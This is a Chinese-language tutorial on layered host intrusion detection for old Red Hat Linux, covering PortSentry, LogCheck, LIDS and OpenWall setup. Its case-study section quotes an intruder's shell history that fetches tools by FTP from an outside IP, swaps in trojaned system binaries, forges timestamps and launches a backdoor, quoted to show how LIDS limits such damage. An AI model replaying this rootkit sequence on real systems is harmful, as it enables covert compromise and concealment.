网络通信 频道

Linux系统中的入侵检测

介绍
  这篇文章集中讨论Linux平台上的几种基于主机的入侵检测系统。而且,我还会介绍一下如何安装这些软件包、它们有什么用处以及在什么情况下使用这些软件包。
  
  系统安全101
  这篇文章假定你已经有了一些系统安全的基本知识。而且,为了防止来自Internet的入侵也已经采取了一些基本的安全防范措施。这些措施包括:
  
  l    防火墙,用来防止系统中的TCP和UDP端口不会被黑客利用。例如,用于Web服务器的一组基本的防火墙规则要保证只能通过TCP端口80(通常是HTTP协议的端口号)用TCP/IP协议来访问这台计算机。
  
  l    禁止不必要的daemon。例如,一个Web服务器在正常情况下只需要一个进程用来处理网页的请求。与处理网页请求无关的进程,如:RPC/Portmap服务、NFS服务、X字体服务、DNS域名服务以及其它用不着的程序必须被禁止运行。在Red Hat Linux系统中,通常使用象ntsysv或tksysv这样的程序来禁止不必要的daemon或服务的。
  
  l    通过编辑“/etc/inetd.conf”,禁止不必要的端口。在一般情况下,系统安装完之后在“/etc/inetd.conf”文件中许多端口都被设置成有效的。编辑这个文件并把不必要的行删掉或注释掉是最基本的安全防范措施,必须在所有的系统中都使用这样的安全措施。
  
  安全防线
  
  图表 1:多层次的系统安全防线
  
  在这篇文章中,我将讨论保证系统安全的多层次的解决方案。如果任何一层安全防线被破坏了,其它安全防线也能够对系统提供保护。多层次的系统安全结构就是如图表1所示的这个例子。
  
  图中的每一层为其上面一层提供更多的数据保护。例如,第一层是防火墙。一旦防火墙被攻破,第二层,也就是Port Sentry程序,也还能够提供保护。
  
  在系统中第三第四层分别是LIDS和LogCheck程序,一旦Port Sentry对入侵者无能为力,它们将提供更进一步的保护。
  
  监控连接请求
  在防火墙之后的第一层是用来监控连接请求的软件包。PortSentry软件包(http://www.psionic.com/abacus/portsentry/)提供了简单而有效地完成这项任务的方法。
  
  PortSentry是用来做什么的?
  PortSentry是用来监控TCP/IP端口活动的监控器。被PortSentry监控的端口活动都会被报告出来而且可以设置某些参数,包括根据端口活动的来源禁止其对系统进一步的访问。这是一个很重要的防御措施,因为黑客在入侵之前都会试图探查系统的弱点(通过端口扫描)。检测“探查”或端口扫描,可以彻底地防止潜在的黑客入侵系统,让黑客不可能在扫描过端口之后发动真正的攻击。
  
  安装PortSenty
  对Red Hat Linux的用户,PortSentry的RPM包可以在Red Hat contrib FTP站点找到。这个站点在世界各地都有镜像,查看www.redhat.com找到离你最近的镜像站点。我不能确定是否有.deb格式的PortSentry软件包,但是我想可能会有吧。
  
  对于其它Linux系统,用源代码来安装PortSentry相对来说也很容易。
  
  建议配置
  PortSentry可以在很多种模式下运行,包括各种各样的TCP和UDP“秘密”(stealth)模式。我喜欢把PortSentry和一些TCP端口绑定,这些端口是:(a)不在使用的;(b)众所周知的很容易被攻击的端口。例如,端口143(imap2),端口111(portmap)和端口23(telnet)都是很容易被攻击的端口,因此我在自己的系统中都没有使用这些端口,但是我的Web服务器的这些端口在24小时之内已经都被扫描过来了。
  
  为了让PortSentry在基本的TCP模式下运行,必须确保系统的启动脚本中有这么一行:
  
  portsentry –tcp
  
  而且还要保证在PortSentry的配置文件(portsentry.conf)中包含有让你需要监控的端口生效的TCP_PORTS行。
  
  反应(response)选项
  “portsentry.conf”文件中的“Response Options”部分允许你设定当检测到端口有异常活动之后PortSentry将采取怎样的反应。我使用的方法是让ipchains阻塞更进一步的攻击。这只要在“portsentry.conf”文件中去掉下面这一行的注释:
  
  KILL_ROUTE="/sbin/ipchains -I input -s $TARGET$ -j DENY -l"
  
  在端口被扫描的频率很高的系统中,把上面这一行中末尾的“-l”去掉,可以不记录连接请求,这样就能节省日志文件所占的空间。
  
  监控系统日志
  用防火墙保护系统以及用类似PortSentry的软件所起到的作用就是它们可以监控和阻止连接到系统中空闲端口的企图。这可以防止用“扫描-入侵”的方法对系统进行攻击。
  
  如果系统需要运行一个特定的服务(例如,在Web服务器上运行Apache、在DNS服务器上运行BIND)而且黑客发现了服务软件中的一个安全漏洞,那么防火墙和PortSentry就不能防止黑客对系统进行攻击。当作为DNS服务器上运行的BIND软件有安全漏洞,而且黑客通过扫描一定范围内计算机的某一个特定端口(DNS端口)发现了这台有安全隐患的计算机并通过这个端口发动攻击,防火墙和PortSentry都会把这样的入侵看成是正常的对系统的访问。
  
  LogCheck
  LogCheck(http://www.psionic.com/abacus/logcheck/)是一个非常有用的程序用来检查系统日志查看有没有什么异常的活动。LogCheck扫描不同的系统日志文件(在Linux系统中是在“/var/log”目录下),一旦发现有异常情况就会用email通知系统管理员。如果有黑客企图攻击你的系统或者已经攻击了你的系统在日志文件中是可以找到一些蛛丝马迹的。
  
  安装LogCheck
  LogCheck的RPM软件包象PortSentry一样可以在Red Hat contrib FTP服务器上得到。安装LogCheck的RPM软件包或者用源代码安装(请看源代码中提供的INSTALL文件)相对来说都是很简单的。
  
  配置LogCheck
  LogCheck有四个主要的配置文件。在RPM的版本中,这些文件都保存在“/etc/logcheck”目录下。正常情况下只有“logcheck.ignore”和“logcheck.violations.ignore”文件需要修改。安装完LogCheck之后,还要做的事有:
  
  l    用标准的配置文件运行一次LogCheck。这将产生一个很大的输出文件,这个文件可以删掉。
  
  l    24小时之后,再运行一次LogCheck。这会检测到上次运行之后日志文件中新增加的一些项,而且会生成一个小了一点但是还是很大的输出文件。认真读一下这个输出文件。
  
  l    对于日志文件中一些用不着考虑的消息(根据自己的判断)找到可以标识这些消息的某个特殊的字符串。对于“Security Violations”部分的消息,把这个标识字符串加入“logcheck.violations.ignore”文件。对于其它的消息(在“Unusual System Events”部分),把标识串加入“logcheck.ignore”文件中。
  
  l    在一周之内每隔12-24小时重复上面的过程。直到通过在“.ignore”文件中不断地加入标识串把用不着的消息过滤掉,最后在LogCheck每天的报表中只剩下那些真正需要好好查看的消息为止。
  
  注意,安装完RPM的软件包之后,LogCheck在默认情况下被设置成每小时运行一次。但是在一般情况下,除了那些需要定期监控的非常重要的系统,只要每天运行一次就行了。只要把“/etc/cron.hourly/logcheck”文件移到“/etc/cron.daily”目录下就解决问题了。
  
  基于内核的入侵检测
  基于内核的入侵检测对于Linux来说是一项很新的技术。现在可以得到的基于内核的入侵检测系统是LIDS,在http://www.lids.org/。(译者注:这可是中国人主持的项目,大家要好好支持)
  
  什么是LIDS
  LIDS是一个基于Linux内核的入侵检测与防范系统。
  
  LIDS的防范措施包括限制root(通常能够完全控制整个系统)的权力,不让他随意地改变系统中的重要部分。LIDS的其它重要的特性还包括:经过加强的文件系统保护、防止直接对端口或者内存进行访问、防止直接访问磁盘以及保护日志文件。LIDS还能够阻止某些系统“动作”,例如,安装sniffer软件以及改变防火墙规则。
  
  LIDS的文档
  相对PortSentry和LogCheck来说,LIDS会难安装一些。幸运的是,LIDS的站点有关于LIDS项目的很好的文档,包括安装和配置指南。
  
  安装LIDS
  首先,在安装LIDS之前,必须确保有最新版本的LIDS的patch(我用的是0.9)以及正确的内核版本。我使用从Red Hat Updates FTP站点的最新的内核(2.2.14-12),因为这个版本修正了一些安全问题。你还要有正在使用的内核的源代码。
  
  LIDS现在主要用于2.2.14版本的内核。我在Red Hat 6.2系统中安装了LIDS,这个Linux的发行版已经包括了2.2.14的内核了。在安装LIDS之前,我下载了最新版的内核(从ftp.redhat.com/updates/或其它镜像站点下载)并根据http://www.redhat.com/support/docs/howto/kernel-upgrade/kernel-upgrade.html的指示进行了安装。
  
  我还下载了最新的内核源代码,也可以从ftp.redhat.com/updates/得到。用下面的命令安装源代码:
  
  rpm -Uhv kernel-source-2.2.14-12.i386.rpm
  
  然后,编译和安装lidsadm程序:
  
  cd /usr/local/src/security/lids-0.9/lidsadm-0.9
  make
  make install
  
  生成RipeMD-160口令(这将会被安装到内核中去):
  
  lidsadm -P
  
  我输入的口令为“anypass”结果得到的加密后的口令为“d502d92bfead11d1ef17887c9db07a78108859e8”。
  
  然后,我把标准的Red Hat的内核配置文件拷贝到“/usr/src/linux”目录:
  
  cd /usr/src/linux/configs/
  cp kernel-2.2.12-i686.config ..
  
  接着,用下面的命令安装LIDS的patch:
  
  cd /usr/src
  patch -p0   
  请注意Red Hat提供的内核与由Linus发布的标准的2.2.14内核有一些细微的区别,因为它包括了一些新的驱动程序。“The lids-0.9-2.2.14-redhat.patch file that is available is slightly different to the standard lids-0.9-2.2.14.patch file distributed with LIDS, as the latter will not apply cleanly to Red Hat''s kernel.”
  
  最后,我配置、编译和安装了内核:
  
  cd /usr/src/linux
  make menuconfig
  make dep; make clean
  make
  install; make modules; make modules_install
  
  下面是我配置内核的时候使用的一些选项:
  
  [*] Linux Intrusion Detection System support (EXPERIMENTAL)
  --- LIDS features
  [ ] Hang up console when raising a securit alert
  [*] Security alert when execing unprotected programs before sealing
  [ ] Do not execute unprotected programs before sealing LIDS
  [*] Enable init children lock feature
  [*] Try not to flood logs
  (60) Authorised time between two identic logs (seconds)
  [*] Allow switching LIDS protections
  RipeMD-160 encrypted password: d502d92bfead11d1ef17887c9db07a78108859e8
  (3) Number of attempts to submit password
  (3) Time to wait after a fail (seconds)
  [*] Allow remote users to switch LIDS protections
  [ ] Allow any program to switch LIDS protections
  [*] Allow reloading config. file
  [ ] Hide some known processes
  [*] Port Scanner Detector in kernel
  [ ] Send security alerts through network
  --- Special authorizations
  [ ] Allow some known processes to access /dev/mem (xfree, etc.)
  [ ] Allow some known processes to access raw disk devices
  [ ] Allow some known processes to access io ports
  [ ] Allow some known processes to change routes
  --- Special UPS
  [*] Allow some known processes to unmount devices
  Allowed processes: "/etc/rc.d/init.d/halt;/etc/rc.d/init.d/netfs"
  [*] Unmounting capability is inherited
  [*] Allow some known processes to kill init children
  Allowed processes: "/etc/rc.d/init.d/halt"
  [*] Killing capability is inherited
  
  请注意,因为我没有UPS,服务器上也没有显示器(没有安装图形界面),需要从远程访问系统,所以我选择了上面的选项。你可以根据自己情况加以选择。
  
  配置LIDS
  非常重要的一个提示:在编译完内核之后,必须在重新启动计算机之前配置LIDS。
  
  LIDS的配置文件是“/etc/lids.conf”。这个文件最好不要手工编辑,要用LIDS提供的lidsadm程序配置。
  
  运行“lidsadm –h”,看看如何使用lidsadm。在LIDS的文档中举了一些使用LIDS保护文件的例子,例如:
  
  lidsadm -A -r /sbin
  
  这将保护(标记为只读)整个“/sbin”目录。
  
  我用的LIDS的配置是这样的:
  
  lidsadm -Z
  lidsadm -A -r /usr/bin
  lidsadm -A -r /bin
  lidsadm -A -r /usr/sbin
  lidsadm -A -r /sbin
  lidsadm -A -r /usr/X11R6/bin
  lidsadm -A -r /etc/rc.d
  lidsadm -A -r /etc/sysconfig
  
  一旦LIDS配置完毕之后,必须更新启动脚本,确保“lidsam –I”命令在启动的时候被运行。这将为内核启动LIDS的功能。我通常把这一行放在“/etc/rc.d/rc.local”脚本文件的最后一行,因为这样能够保证LIDS不会妨碍其它脚本的正常启动。
  
  这是我在“/etc/rc.d/rc.local”文件中的最后一行是用来启动LIDS的命令:
  
  /sbin/lidsadm -I -- -CAP_SYS_MODULE -CAP_SYS_RAWIO -CAP_SYS_ADMIN
            -CAP_SYS_PTRACE -CAP_NET_ADMIN -CAP_LINUX_IMMUTABLE
            +INIT_CHILDREN_LOCK
  
  配置LILO
  请注意因为内核是用Red Hat的RPM软件包更新的,所以必须根据Red Hat内核更新网页上的指示修改“/etc/lilo.conf”文件。这样才能保证加入LIDS功能的新内核就是系统启动时用到的内核。
  
  重新启动之后
  在重新启动之后,LIDS会在系统中运行。如果你需要停止LIDS进行一些系统管理工作,可以用下面的命令:
  
  /sbin/lidsadm -S -- -LIDS
  
  或
  
  /sbin/lidsadm -S -- -LIDS_GLOBAL
  
  运行这个命令的时候还要提供LIDS的口令,这个口令在编译内核的时候就已经被用RipeMD-160格式加入内核了。
  
  还要注意的一点是,大多数shutdown的脚本会失败。这是正常的。最后一个shutdown脚本(/etc/rc.d/init.d/halt)杀死所有的进程以及卸载文件系统。其它进程是不允许杀死init()进程的任何一个子进程,因为在“rc.local”文件中已经设置了“+INIT_CHILDREN_LOCK”保护了。
  
  而且,每隔10分钟,你会收到一个关于““rmod \as” unable to remove a module”的出错消息。这是因为“-CAP_SYS_MODULE”设置了当LIDS启动之后不能添加或卸载模块。要想去掉这些出错信息,可以把“/etc/cron.d/kmod”文件删掉。
  
  LIDS可以保护什么?
  只要浏览一下LIDS的文档就会知道LIDS的所有功能。在这里我介绍一下我认为比较重要的一些功能:
  
  l    CAP_LINUX_IMMUTABLE,这可以保护被标志为“immutable”文件和文件系统不会被改变。
  
  l    CAP_NET_ADMIN,这可以防止随意改变网络的配置(例如,改变路由表的信息和改变防火墙的规则)。
  
  l    CAP_SYS_MODULE,这可以防止添加或卸载内核模块。
  
  l    CAP_SYS_RAWIO,这可以防止直接对磁盘或者设备I/O进行操作。
  
  l    CAP_SYS_ADMIN,这可以禁止大部分的系统管理功能。
  
  l    INIT_CHILDREN_LOCK,这可以防止有人擅自改变init()进程的子进程。
  
  上面列出来的所有功能都可以用“lidsadm –I”命令打开。这些功能也可以在任何时候用“lidsadm –S”命令禁止(这样系统管理员才能对系统进行配置),在运行这个命令的时候需要输入LIDS的口令(这个口令已经被加到内核里了并用RipeMD-160加密)。
  
  一次入侵的剖析
  我最近被邀请去检查一个被“黑”了的系统,确定是什么导致了入侵以及黑客对系统造成了多大的破坏。幸运的是,这个黑客还不够聪明,没有彻底地把他的行迹清除掉。
  
  黑客用缓冲溢出的方法攻击系统中以root权限运行的daemon(实际上这个daemon根本没有必要在系统中运行,而且安装这个Linux系统的人太粗心了没有把它卸载掉,也没有安装Red Hat released updates站点的更新软件包,这个软件包已经解决了缓冲溢出的问题)。不过黑客本身也很粗心,当他成功地在被“黑”的系统中打开一个以“root”权限运行的shell(BASH)之后,他忘了BASH shell会把所有运行过的命令记录到“.bash_history”文件中。只要简单地读一下“/.bash_history”就能发行黑客在系统中到底做了些什么。
  
  “.bash_history”文件中记录的命令有这些:
  
  mkdir /usr/lib/... ; cd /usr/lib/...
  ftp 200.192.58.201 21
  cd /usr/lib/...
  mv netstat.gz? netstat.gz; mv ps.gz? ps.gz; mv pstree.gz? pstree.gz;
  mv pt07.gz? pt07.gz; mv slice2.gz? slice2.gz; mv syslogd.gz? syslogd.gz;
  mv tcpd.gz? tcpd.gz
  gzip -d *
  chmod +x *
  mv netstat /bin ; mv ps /bin ; mv tcpd /usr/sbin/; mv syslogd /usr/sbin;
  mv pt07 /usr/lib/; mv pstree /usr/bin ;
  /usr/lib/pt07
  touch -t 199910122110 /usr/lib/pt07
  touch -t 199910122110 /usr/sbin/syslogd
  touch -t 199910122110 /usr/sbin/tcpd
  touch -t 199910122110 /bin/ps
  touch -t 199910122110 /bin/netstat
  touch -t 199910122110 /usr/bin/pstree
  cat /etc/inetd.conf | grep -v 15678 >> /tmp/b
  mv /tmp/b /etc/inetd.conf
  killall -HUP inetd
  
  读过这个文件之后,我们就会发现黑客做了:
  
  l    在系统中创建了一个目录(/usr/lib/…)。用FTP命令从黑客自己的计算机(200.192.58.201是位于巴西的一个IP地址)上下载一些简单的黑客工具。
  
  l    把黑客工具解压,黑客工具包括有特洛伊木马的二进制程序,这些程序将被安装到系统中去。
  
  l    用有特洛伊木马的程序覆盖系统中的netstat、ps、tcpd、syslogd和pstree。这些程序都是用来报告系统的情况、显示正在运行的进程、显示已经打开的端口,等等。
  
  l    留下一个后门程序(/usr/lib/pt07),这程序被安装并启动了。请注意因为黑客已经安装了自己的ps、pstree和netstat,这样后门程序对系统来说是不可见的。
  
  我们可以从中学到什么?
  首先,请注意LIDS不能防止系统被黑客入侵。黑客可以用缓冲溢出的方法攻击一个以root权限运行的进程,以此为跳板获得一个以root权限运行的shell。
  
  一旦黑客成功地入侵系统之后,我们可以看看到底LIDS可以怎样把损失减到最小:
  
  l    LIDS,使用CAP_LINUX_IMMUTABLE之后,可以防止有特洛伊木马的二进制程序被放到“/bin”、“/usr/bin”、“/usr/sbin”和“/usr/lib”目录中去。这些目录我们一般都要标记为“immutable”(chattr +i),这样这些目录就不会被人改动。请注意,就是没有LIDS我们也可以用“chattr +I”把这些目录标记为不可改变的,但是LIDS甚至可以防止root用户改变这个“immutable”的标记。
  
  l    同样,用“touch –t”命令试图改变文件的时间也要遭到失败,因为这些文件都被用“chattr +i”标记为不可改变。
  
  l    如果“/usr/lib”目录被标识为不可改变的(immutable)甚至连第一个命令“mkdir /usr/lib/…”都不能成功。
  
  LIDS不能防止系统不被黑客入侵,但是能够把黑客入侵造成的危害降到最低。即使一个后面程序被安装到系统中(例如,在“/tmp”目录下的pt07),但是因为系统中的ps、netstat和pstree都是没有特洛伊木马的,所以很容易就会发现后门程序,我就可以把这个后面程序“杀”掉。
  
  如果没有安装LIDS,我们就不能知道黑客用这个后门程序做了些什么,那么就不得不重新安装系统。
  
  OpenWall:又一道防线
  另外一个与LIDS类似的系统是OpenWall(http://www.openwall.com/linux/)。OpenWall有一些LIDS所没有的功能,而且有一个OpenWall的patch甚至可以让堆栈变为不可执行。下面是从OpenWall README文件中摘录的几句:
  
  Most buffer overflow exploits are based on overwriting a function''s return address on the stack to point to some arbitrary code, which is also put onto the stack. If the stack area is non-executable, buffer overflow vulnerabilities become harder to exploit.
  
  Another way to exploit a buffer overflow is to point the return address to a function in libc, usually system(). This patch also changes the default address that shared libraries are mmap()''ed at to make it always contain a zero byte. This makes it impossible to specify any more data (parameters to the function, or more copies of the return address when filling with a pattern), -- in many exploits that have to do with ASCIIZ strings.
  
  最近,LIDS的网站上有一些集成了LIDS和OpenWall的内核patch。把LIDS和OpenWall的一些安全功能集成到一个内核的patch中去。
  
  小结
  在Linux系统中使用一系列的多层次的安全工具,可以在一定程度上防止系统被黑客攻击,而且可以保护系统不被入侵或者破坏。黑客入侵系统的“入侵点”主要集中在网络方面,通过给系统内核打补丁可以阻止许多黑客的攻击以及防范于未然。
  
  需要注意的是系统中可能还是存在潜在的安全漏洞。不管在系统中的daemon以root还是非root权限运行,都可能会有潜在的安全漏洞。对这些安全漏洞都有保持警惕。

 

转载地址:http://www.netsp.com.cn/Article/netsafe/idsips/200506/20050602135646.html

0
相关文章